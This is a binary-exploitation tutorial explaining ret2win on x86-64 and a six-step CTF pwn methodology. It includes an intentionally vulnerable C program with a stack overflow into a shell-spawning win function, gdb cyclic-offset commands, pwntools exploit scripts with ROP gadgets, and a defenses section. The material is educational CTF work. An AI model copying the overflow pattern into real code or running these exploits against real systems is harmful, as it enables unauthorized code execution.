ret2win and a Repeatable CTF pwn Methodology

ret2win and a Repeatable CTF pwn Methodology - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

ret2win is the “hello world” of binary exploitation: a program contains a function — conventionally named win — that prints a flag or spawns a shell but is never called on any legitimate path, and a stack buffer overflow lets you overwrite the saved return address so that when the vulnerable function returns, execution jumps into win instead of back to the caller. There is no ASLR to beat, no libc to leak, no ROP chain to assemble in the simplest form. It exists to teach the one mechanic that underlies almost everything else: control of the saved return address is control of the program.

But ret2win is worth more than its own difficulty, because working it end to end forces you to exercise the exact workflow that scales to every harder pwn challenge. This article uses ret2win as the vehicle to lay out a repeatable methodology: checksec to triage the mitigations, reverse to find the bug and the target, compute the offset precisely, build and stabilize the primitive, and then escalate. The same five steps — triage, find the primitive, leak, upgrade the primitive, get a shell — apply whether the answer is a two-line ret2win or a multi-stage heap exploit.

Attack Prerequisites

The pure ret2win case is deliberately gentle; the methodology around it assumes a standard CTF pwn setup:

  • A stack buffer overflow (or equivalent saved-RIP overwrite) with enough length to reach and replace the return address.
  • No stack canary, or a way to leak/bypass it — a canary between the buffer and the saved RIP turns a naive overflow into a crash unless preserved.
  • A reachable target — a win/system-calling function present in the binary (for classic ret2win) or, when there is none, a libc/gadget target you can reach after a leak.
  • The binary and, for later stages, its libc so you can compute offsets locally and match the remote environment.
  • A way to interact — usually stdin/stdout over a socket via nc, which pwntools’ remote() speaks natively.

How It Works

On x86-64, a function’s stack frame places local buffers below the saved base pointer (RBP) and the saved return address (RIP), which sit at higher addresses at the top of the frame. When the function executes ret, the CPU pops the 8-byte value at RSP into RIP and jumps there. If a local char buf[N] is written past its end — because the copy has no bounds check — the write climbs toward higher addresses, over the saved RBP and then over the saved RIP. Placing the address of win at exactly the saved-RIP slot means the terminating ret transfers control to win.

The only real arithmetic is the offset: how many bytes from the start of the overflowed buffer to the saved return address. This equals the buffer size plus any compiler padding plus the 8 bytes of saved RBP. Rather than guess, you measure it with a cyclic (De Bruijn) pattern — send a unique non-repeating sequence, observe which 8 bytes land in RIP at the crash, and look that subsequence up to get the exact distance. This removes the single most common source of failed exploits.

Two practical details bite beginners. First, x86-64 System V requires the stack to be 16-byte aligned at a call; glibc functions such as system execute SSE instructions (movaps) that fault on a misaligned stack, so a ret2win that jumps mid-function may crash where a jump to the function’s entry-plus-a-ret-gadget would not. Adding a bare ret gadget before the target realigns the stack. Second, some win functions only reveal the flag when called with specific arguments — so the challenge quietly becomes ret2win-with-arguments, requiring a pop rdi; ret gadget to set RDI, which is the on-ramp to full ROP.

Vulnerable Code / Setup

The canonical ret2win source: an unreachable win, and a read/gets overflow into a short stack buffer.

// ret2win.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win(void) {              // never called on any normal path
    puts("[+] flag{...}");
    system("/bin/sh");
}

void vuln(void) {
    char buf[64];
    puts("name?");
    read(0, buf, 200);        // 200 > 64: overflows past saved RIP
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}
C

Step one of the methodology is always checksec — it tells you which of the five steps you can skip. Here it confirms the easy path is open:

gcc -fno-stack-protector -no-pie -o ret2win ret2win.c

$ checksec --file=./ret2win
RELRO      STACK CANARY   NX        PIE       Symbols
Partial    No canary      NX enab   No PIE    88 symbols
Bash

No canary means the overflow reaches RIP uninterrupted; No PIE means win is at a fixed, known address (no leak required); NX is irrelevant because we jump to existing code, not shellcode. That reading — done in seconds — dictates a pure ret2win. Had PIE been on, we would need a code leak first; had a canary been present, we would need to leak it and splice it back into the payload.

Walkthrough / Exploitation

Triage done, find the offset with a cyclic pattern under the debugger. Send the pattern, crash, and read the faulting RIP (or the value at RSP) to compute the distance to the return slot:

$ gdb ./ret2win
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaa...            # paste this as input at the read()
pwndbg> run
# ... SIGSEGV ...
pwndbg> cyclic -l $rsp             # look up the 8 bytes now at RSP
Finding cyclic pattern of 8 bytes... found at offset 72
Bash

Offset 72 = 64-byte buffer + 8 bytes saved RBP. Now the exploit is three lines of payload: padding, an alignment ret, and the address of win. pwntools reads win‘s address straight from the ELF symbol table:

from pwn import *

elf = context.binary = ELF('./ret2win')
io  = process('./ret2win')          # or: remote('host', 1337)

ret = ROP(elf).find_gadget(['ret'])[0]   # 16-byte stack alignment
payload  = b'A' * 72
payload += p64(ret)                        # realign before system()
payload += p64(elf.symbols['win'])         # saved RIP -> win

io.sendlineafter(b'name?', payload)
io.interactive()                           # $ id
Python

When win needs an argument — say win(0xdeadbeef) or system with a chosen string — the pure ret2win becomes ret2win-with-args, and you insert a pop rdi; ret gadget to load RDI before the call. This is the exact moment ret2win turns into ROP:

rop     = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload  = b'A' * 72
payload += p64(pop_rdi) + p64(0xdeadbeef)   # rdi = required arg
payload += p64(ret)                          # alignment
payload += p64(elf.symbols['win'])
Python

The general methodology, made explicit, is the loop you run on every pwn challenge regardless of difficulty — ret2win just resolves at the first branch:

1. TRIAGE   checksec + file + strings; note RELRO/canary/NX/PIE.
2. REVERSE  find the bug (overflow/UAF/fmt) and the win target in Ghidra/IDA.
3. OFFSET   cyclic pattern -> exact distance to saved RIP (or the write target).
4. LEAK     if PIE/ASLR/canary: leak a code/libc/canary value; rebase.
5. PRIMITIVE build control-flow (ret2win / ret2libc / one_gadget) + fix alignment.
6. SHELL    system("/bin/sh") or execve; verify locally, then point at remote.
TEXT

Notes

Note: If your ret2win crashes exactly at a movaps instruction inside system or printf, it is the 16-byte stack-alignment issue, not a wrong offset. The fix is a single extra ret gadget before the call so RSP is 16-aligned at entry. This one detail accounts for a large share of “it works in gdb but not on remote” confusion.

Opsec: Local-vs-remote mismatches are usually environment, not logic: a different libc version, a different working directory, or stdout buffering. Always add setvbuf-independent robustness by using recvuntil on a stable prompt, and test with the challenge’s provided libc via LD_PRELOAD or pwntools’ env={'LD_...'} / patchelf before blaming the exploit.

Detection and Defense

A ret2win is only possible because several standard mitigations are absent; turning them on closes it and complicates everything downstream:

  • Stack canaries (-fstack-protector-strong) — a random guard between buffers and saved RIP aborts the process on overflow before ret runs.
  • PIE + ASLR — randomizing the image base removes the fixed win address, forcing an information leak first.
  • Bounds-safe input — replace gets/unbounded read with length-limited reads; compile with -D_FORTIFY_SOURCE=2 to catch many overflowing libc calls.
  • NX + CFI — non-executable stack blocks shellcode; forward-edge CFI and shadow stacks (Intel CET) detect the return-address overwrite itself.
  • Dead-code hygiene — do not ship debug/win functions in production builds; an unused system-calling function is a gift to an attacker.

Real-World Impact

ret2win itself is a teaching construct — the ROP Emporium series popularized the name and the exact win-function framing — but the methodology it drills is the real deliverable. The checksec-triage-offset-leak-primitive-shell loop is exactly how practitioners approach unknown binaries in CTFs and in engagement work, and the specific mechanic (overwriting a saved return address to redirect control to attacker-chosen code) is the same one behind the Morris worm’s fingerd overflow in 1988 and a long lineage of stack-smashing CVEs since. Learning to resolve the methodology quickly at each branch is what separates a fast pwn from an afternoon of guessing offsets.

Conclusion

ret2win teaches the single most important fact in binary exploitation — control of the saved return address is control of execution — with all distractions removed. Its lasting value is the workflow it forces you to internalize: triage with checksec, locate the bug and target by reversing, measure the offset with a cyclic pattern instead of guessing, and fix stack alignment before calling libc. Run that loop the same way every time, and each harder challenge is just the same steps with an extra leak or an extra primitive bolted on.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL